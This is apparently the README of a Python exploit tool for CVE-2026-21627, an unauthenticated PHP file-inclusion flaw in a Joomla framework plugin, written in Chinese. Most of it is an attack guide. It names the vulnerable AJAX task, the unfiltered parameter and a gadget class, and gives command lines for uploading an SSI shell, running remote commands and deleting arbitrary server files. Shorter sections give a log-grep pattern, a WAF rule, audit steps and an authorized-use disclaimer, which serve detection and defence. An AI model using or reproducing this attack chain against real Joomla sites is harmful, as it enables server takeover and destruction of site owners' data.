
Python 针对 CVE-2026-21627 的漏洞利用程序,该漏洞是 Joomla 的 Novarain Framework 中一个未经验证的任意 PHP 文件包含漏洞,可实现文件上传、删除和远程代码执行(RCE)。
| CVE ID | CVE-2026-21627 |
| CVSS 评分 | 9.5(严重) |
| 插件 | plg_system_nrframework(Tassos 框架 / Novarain 框架) |
| 受影响版本 | 4.10.14 至 6.0.37 |
| 修复版本 | 6.0.38+ |
| CMS | Joomla 3.x、4.x、5.x |
nrframework 插件随 Tassos.gr 的多款热门 Joomla 扩展一同分发,包括 Convert Forms、Engage Box、Google Structured Data 等。
nrframework.php 中的 ajaxTaskInclude() 方法通过 $non_admin_tasks 数组被明确列入前端(非管理员)访问白名单。它接受三个用户可控的参数:
path — 使用 RAW 输入过滤器(零过滤,可进行路径遍历)file — 使用 Joomla 默认输入过滤器class — 包含后要实例化的类名拼接后的路径 $path . $file . '.php' 被直接传递给 @include_once,从而实现任意 PHP 文件包含。包含后,指定的类会被实例化,其 onAJAX() 方法会以用户可控的参数被调用。
| 原语 | Gadget | 严重程度 | 描述 |
|---|---|---|---|
| 文件包含 | ajaxTaskInclude() | 严重 | 包含服务器上的任意 .php 文件 |
| 文件删除 | JFormFieldNRInlineFileUpload::onRemove() | 严重 | unlink() 无路径验证——可删除 Web 服务器可写的任意文件 |
| 文件上传 | JFormFieldNRInlineFileUpload::onUpload() | 高 | 将文本文件上传到任意可写的 Web 可访问目录 |
| 路径泄露 | 上传响应 | 中 | JSON 响应中泄露完整文件系统路径 |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| 模式 | 描述 | 风险 |
|---|---|---|
verify | 确认漏洞是否存在 | 安全 / 只读 |
upload | 将文件上传到受控目录 | 中 |
delete | 删除服务器上的任意文件 | 破坏性 |
rce | 尝试完整的 RCE 链(上传 + 执行) | 高 |
info | 包含任意 PHP 文件用于侦察 | 中 |
验证漏洞:
python3 cve_2026_21627.py --target https://example.com --mode verify
上传概念验证文件:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
上传 SSI shell(需要 Apache mod_include):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
尝试 RCE 链:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
删除文件(破坏性):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t 目标 URL(必填)
--mode, -m 利用模式:verify|upload|delete|rce|info(必填)
--sef-prefix Joomla SEF URL 前缀(默认:/it/)
--delay 请求之间的延迟秒数(默认:2.5)
--proxy HTTP 代理(例如 http://127.0.0.1:8080)
--no-ssl-verify 禁用 SSL 证书验证
上传模式:
--shell-type 文件类型:shtml|csv|txt|html(默认:shtml)
--upload-dir 相对于 JPATH_ROOT 的上传目录(默认:images)
--custom-content 要上传的自定义文件内容
删除模式:
--file-path 要删除文件的完整服务器路径
RCE 模式:
--cmd 要执行的命令(默认:id)
信息模式:
--php-path 相对于 JPATH_SITE 的 PHP 文件路径
--php-file 不带 .php 扩展名的 PHP 文件名
--php-class 要实例化的 PHP 类
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ 攻击者 │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX 路由器) │ │ │
│ task=include │ │ include 位于 │ │ path = RAW 输入 │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (无需认证) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (gadget 类) │
│ │
│ onAjax() ──> onUpload() [写入] │
│ ──> onRemove() [删除] │
└─────────────────────────────────────┘
path(RAW 过滤器 = 无过滤)调用 include 任务,指向 gadget 文件。JFormFieldNRInlineFileUpload 类提供 onUpload() 用于文件写入和 onRemove() 用于文件删除,两者均存在输入验证不足的问题。requests 库pip install requests
监控访问日志以发现利用尝试:
# Apache/Nginx 日志模式
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF 规则 — 阻止匹配以下模式的请求:
option=com_ajax.*plugin=nrframework.*task=include.*path=
入侵后审计:
images/ 和其他可写目录中是否有意外文件configuration.php 和 .htaccess 的完整性@include_once 警告ajaxTaskInclude(),并替换为严格的处理程序注册表(AjaxHandlerRegistry)| 日期 | 事件 |
|---|---|
| 2026-02 | 在授权渗透测试期间发现漏洞 |
| 2026-02 | 创建利用程序 |
| 2026-02 | 公开披露 |
本工具仅供授权安全测试和教育目的使用。仅可对您拥有明确书面授权测试的系统使用此利用程序。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。
Yallasec — yallasec.com
Arcangelo Saracino — @arkango